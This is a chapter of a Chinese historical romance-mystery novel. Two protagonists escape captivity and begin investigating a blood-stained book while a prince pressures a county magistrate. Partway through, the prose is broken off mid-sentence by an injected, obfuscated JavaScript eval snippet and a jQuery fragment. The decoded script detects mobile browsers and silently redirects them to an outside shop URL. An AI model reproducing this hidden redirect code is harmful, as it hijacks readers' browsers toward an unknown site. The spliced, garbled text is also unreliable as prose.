谢青霄扭头指了指那人随手扔在床下的酒壶,李幸歌立刻会意,爬回去将酒壶捡来。
谢青霄将酒倒在手上,洒到木门开合的缝隙处,李幸歌这边轻推一点门,发现没声音,朝着谢青霄点头。
等门打开一个足够他俩钻出去的缝时,李幸歌又爬着将酒壶送回去,专门将酒壶放倒在地上,酒顺着壶口一点一点洒出。
门外谢青霄正对她招手,李幸歌迅速爬了出去,谢青霄立刻将门关好,揽着她的腰,从二楼直接跳了下去。
虽说他不会功夫,但从小和他爹斗智斗勇,这一跳倒也没闹出什么声响。
俩人一路摸到门口。
李幸歌先从正门出去,留谢青霄将门插好,再从墙头翻出来,俩人趁着天色重回被拐的柴房里,拿上包袱,离开鬼巷,溜回到客栈。
直到关上房间的门,谢青霄才松了口气,一屁股坐在凳子上,先给李幸歌倒了杯水,自己干脆对着茶壶猛灌了一口。
李幸歌翻出包袱里拿出来的东西,一根带着倒刺的鞭子,一包莫名生虫药丸和一本血书。
坐在桌边小口喝着水沉思。
双河镇知县府中。
前厅的黄花梨鎏金描龙纹椅上,端王正坐在上面。他垂着眼,靠着椅背上,一手托着下巴,一手正把玩着手里的白玉貔貅。
面前跪了一地的人,个个身着黑衣,腰间别着一把长剑,噤声闭气,勾着头,匍匐在地上。
端王食指轻叩在白玉貔貅上,冷声问道:“你们是说,让人跑了?”
领头的黑衣人咽了口唾沫,才回道:“属下到达客栈的时候,那小丫头已经不见了。”
知县坐在一边,满头的汗:“殿下,那不过就是个小乞丐,跑就跑了,对大局没什么影响的。”
端王抬头瞥了一眼他,拖着长腔问道:“林大人的意思是,一个能靠着自己从拐子手里跑出来的小乞丐,什么都不知道?”
“甚至连孤亲选的暗卫也找不到她?”
知县林文远自知失言,低头做鹌鹑状,不敢再劝。
端王烦躁地捏捏了眉心,手中的白玉貔貅砸在地板上,发出沉闷的声音。他盯着面前跪着的黑衣人,冷哼一声,道:“找不到就接着找。”
“不仅是那个乞丐,还有那什么刘家村,都不能放过。”
接着,他又转头问知县:“谢公子最近在干什么?”
知县一愣,犹豫道:“好像是带着那个小美人儿出去玩了?”
端王不耐烦地闭闭眼,吩咐道:“找人看好他,别再闹出什么幺蛾子。”
他挥挥手,面前的黑衣人连忙退下去。
这才转了神情,嘴角扯出一个笑,朝着知县道:“父皇这次派谢公子跟着孤来,实不知道是何用意。”
“谢公子又受了惊,还请知县多关照,看看他伤势如何。”
他面色一冷,压低了嗓音:“谢公子心大,若是知道了什么事,恐会乱说。”
看着知县的神情逐渐难看,端王才满意道:“林大人应该知道怎么做。”
打完哑谜,端王心情大好,看着地上摔碎的白玉貔貅,不禁有些惋惜:“这白玉还是太脆,劳烦林大人再替孤寻块儿更合眼缘的来。”
“鬼巷里放着的东西,也劳烦林大人快些送到东京。孤还要巡查河道,不能久待。”
他缓步走到门口,扭头看着林文远还坐在凳子上冒冷汗,安抚道:“这东京未来的府尹能不能是林大人,就看林大人这差办的如何了。”
林文远在前厅坐到天亮,想着鬼巷里那一箱箱金银,不由得头大。
客栈。
李幸歌还在看那本血书。
谢青霄看着外面的街道已经开始吵嚷,换了衣服下楼吩咐掌柜的去兴元斋买些粥和早点送来。
他早就打听过,这双河镇的兴元斋,虽是脚店,但是早点做的却是极好,一手芝麻油饼,外酥里嫩,裹着香软的豆沙,甜而不腻,一口下去,香气直冲喉咙。
转头看见街边新出锅的糖炒栗子,便去买了一袋,恰好遇上奉命来找他的知县府管家。
那小老头看见他,忙指挥着人将栗子摊儿围起来,冲着谢青霄行礼道:“谢公子,知县找您一晚上啦。”
“赶紧跟着小人回府吧。”
说着又瞪着卖栗子的小贩,呵斥道:“谁让你收钱的?知道这是谁吗?”
谢青霄皱眉看着周围的一圈儿人将栗子摊围得水泄不通,做生意的小贩抖着手将板栗递给他,连钱也不要,旁边赶早的百姓怕惹事儿,干脆离得远远的观望。
“知道了。”谢青霄丢出小块儿银子扔给小贩,瞅着管家哑着嗓子道:“让你的人先滚,小爷随后就到。”
他拎着栗子回到客栈,瞅了一眼身后跟着的一大群人,倚在柜台边冲着掌柜吆喝:“将早点和栗子都送到二楼的客房,敲门后放门口就行。”
“红花小姐昨夜没休息好,不要让人靠近客房,要是你们谁敢扰了她,小爷回来拆了你的店。”
他将手指按得噼里啪啦的响,咬着牙,一脸凶狠。
从怀中摸出个银锭,连同手里的板栗一块儿丢给掌柜。
回到知县府后,谢青霄横躺在椅子上,腿翘在椅背上,脚尖一点一点的,手撑在后脑上,偶尔去旁边摸一个松子抛起来用嘴去接。
他不耐烦地催促:“你家知县呢?”
“叫本公子回来却不见人?耍本公子呢?”
管家自从将谢青霄请回来后,一会儿送茶,一会儿送干果儿,一会儿拿软垫,一会儿拿毛毯,跑了不下十来躺,这会儿听见他说话,莫名怵得慌,生怕他再想出什么折磨人的法子。
幸好知县回来的快,他才擦着汗连忙退了下去。
谢青霄依旧是那般混不吝的躺在椅子上。
知县清清嗓子,客气道:“谢公子玩的可还开心啊?”
谢青霄咬着松子,嘟嘟囔囔道:“开心什么?红花正要给本公子跳胡旋舞,你就把本公子请回来,怎么,林大人也会跳胡旋舞啊?”
知县笑了几声,又问道:“主要是在下担心谢公子,不知道谢公子有没有被那拐子伤到?”
谢青霄皱皱眉,将腿放下来,整个人没骨头般靠在椅背上:“什么伤?”
“那种小伎俩能伤到本公子?”
“要不是你们去太早,本公子早就一拳一个的将他们放倒了。”
他满
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940757|213910||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
脸不屑,知县只当他是在说大话放屁。
知县赔笑着解释:“下官审那拐子良久,那拐子也没说自己是哪里人是,不知道谢公子在巷子里有没有听到那拐子的来历?”
谢青霄正抓着一把松子抛着吃:“什么来历?一群拐子而已,能有什么来历?”
“再说了,人不都死了,管他什么来历。”
他一脸遗憾地看着地上几个没接住松子,站起身来,走到知县旁边,一屁股坐在桌子上,弓着腰,勾着知县的肩膀,没皮没脸的笑:“林大人,本公子来这儿也有几天了,你们这双河镇我都看腻了。”
“你们这一片儿还有没有其他什么玩的?”
林文远笑道:“有啊,此地西去百里,有片桃花林,三四月的时候甚美,若是想看见不一样的风光,南边岸头坐船出海,一望无际,还能在船上欣赏歌女的舞蹈。”
“谢公子是想出去玩?”
谢青霄笑叹了口气:“双河镇的姑娘脾气大,我看殿下还要再待几天,整日里在贵府呆着,不如带着美人儿出去看看。”
“也算没白来。”
知县笑得暧昧:“早就听说谢公子是风流人,如今肯一掷千金为博美人儿一笑,果真是名不虚传。”
谢青霄附和两声,又推脱着收下知县赠的一袋银锭,摇着扇子便回了客栈。
客栈里,李幸歌已经吃完早点了。
她特意将每份儿早点都分出来一半放在盘子里,芝麻饼配着小包子,满满一盘,很是喜人。
谢青霄看她没动板栗,问道:“是不是不合口味?”
李幸歌摇头,想起以往每年在村子里,到冬天的时候,她爹就要带回来一麻袋板栗让她剥了换酒钱。
板栗壳硬,有时候她弄得满手血,还要再挨鞭子,嫌她耽误了时间。
现在看见板栗,就莫名厌烦。
“只是不爱吃。”李幸歌轻声解释道。
谢青霄坐在一边吃完了早点,拿过那袋板栗慢慢剥着,金黄的栗子肉放在茶托上,推过去给李幸歌。
“尝尝看,早上我看着他们炒出来的。”
李幸歌不好推辞,只得捡起栗子肉塞进嘴里,香软粉糯,满口清甜。
她鼓着腮帮子,指着手上的血书,又不好说话,只得灌了杯茶将栗子咽下去,才开口道:“我觉得我们可以从这书入手。”
“这种书肯定不止一本,找到在哪儿卖的,或许会有线索。”
她想了想,又道:“还有就是书上沾着血的那页是关于时疫的,或许我们也可以先调查一下哪儿发生过时疫,或者是哪儿发生过灾祸,从这里入手。”
李幸歌拿出放在包袱里的鞭子放在桌上,指着把手处的脏污给谢清宵看:“这鞭子的把手处缠着的布料已经磨的起毛了,还很脏,说明已经用了很久了,虽说鞭子样子奇特,但毕竟时间久了,也不一定能找到打造的人。”
“不如从时疫上入手。”
谢青霄点头,听着她讲,不时将剥出来的栗子递给她,看着她鼓着脸咀嚼的傻样儿,想起前些年冬天他养的一只小松鼠,也是将板栗鼓囊囊的塞一脸,嘟着嘴将好吃的都藏起来。
可爱死了,谢青霄想。